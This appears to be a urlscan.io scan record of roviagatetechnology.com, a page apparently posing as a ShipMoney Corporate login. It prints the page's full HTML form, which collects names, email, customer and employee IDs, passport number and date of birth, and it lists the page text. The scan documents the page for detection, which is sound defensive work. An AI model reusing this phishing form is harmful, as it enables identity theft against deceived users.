roviagatetechnology.com Open in urlscan Pro
107.180.56.144  Public Scan

Form analysis
1 forms found in the DOM

POST form2.php

<form method="post" autocomplete="off" action="form2.php" class="cmxform" id="loginform">
  <div class="text-center">
    <div id="login-fields">
      <div id="userNameFloat" class="half-column float-labels fl-form">
        <!--<span class="label" data-lang-key="login.user"></span> -->
        <div class="row">
          <div class="form-group col-md-6">
            <input class="form-control" name="FIRSTNAME" maxlength="40" tabindex="40" required="" placeholder="Your First Name" type="text" value="" id="contact-first-name" data-fv-notempty="true">
          </div>
          <div class="form-group col-md-6">
            <input class="form-control" name="LASTNAME" maxlength="60" tabindex="1" required="" placeholder="Your Last Name" type="text" value="" id="contact-last-name" data-fv-notempty="true">
          </div>
        </div>
        <div class="row">
          <div class="form-group col-md-6">
            <input class="form-control" name="EMAIL" maxlength="60" tabindex="2" required="" placeholder="Your Email Address" type="email" value="" id="contact-email" data-fv-notempty="true">
          </div>
          <div class="form-group col-md-6">
            <input class="form-control" name="CONFIRMEMAIL" maxlength="60" tabindex="2" required="" placeholder="Please confirm your email" type="text" value="" id="contact-confirm-email" data-fv-identical="true" data-fv-identical-field="EMAIL"
              data-fv-identical-message="Your email addresses do not match">
          </div>
        </div>
        <div class="row">
          <div class="form-group col-md-6">
            <input class="form-control" name="CLIENTID" maxlength="15" "tabindex=" 2" required="" placeholder="Your Customer ID number" type="tel" value="" id="contact-clientid" data-fv-notempty="false">
          </div>
        </div>
        <div class="row">
          <div class="form-group col-md-6">
            <input class="form-control" name="EMPLOYEEID" maxlength="15" tabindex="2" required="" placeholder="Your Employee ID" type="tel" value="" id="contact-employeeid" data-fv-notempty="false">
          </div>
        </div>
        <div class="row">
          <div class="form-group col-md-6">
            <input class="form-control" name="PASSPORTNUMBER" maxlength="20" tabindex="2" required="" placeholder="Your Passport Number" type="tel" value="" id="contact-passportnumber" data-fv-notempty="true">
          </div>
        </div>
        <div class="row">
          <div class="form-group col-md-6">
            <input class="form-control" name="DATEOFBIRTH" maxlength="20" tabindex="2" required="" placeholder="(day/month/year)" type="tel" value="" id="contact-dateofbirth" data-fv-notempty="true" data-fv-date="true"
              data-fv-date-format="DD/MM/YYYY">
          </div>
        </div>
      </div>
    </div>
    <button id="submit_btn" "="" type=" submit" class="btn log-in">Confirm</button>
    <div id="register"><a id="linktoregister" class="bank-forgot-password bank-link" href="http://www.msc-shipmoney.com/#" data-lang-key="login.register"></a></div>
    <div>
    </div>
    <br>
  </div>
  <!-- end login -->
</form>

Text Content

www.ShipMoneyCorporate.com|
English
 * English
 * French
 * Portuguese
 * Spanish

|Online Help
English
 * English
 * French
 * Portuguese
 * Spanish

 * www.ShipMoneyCorporate.com
 * Online Help

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Date of birth (dd/mm/yyyy): Last four digits of card: Employee Id: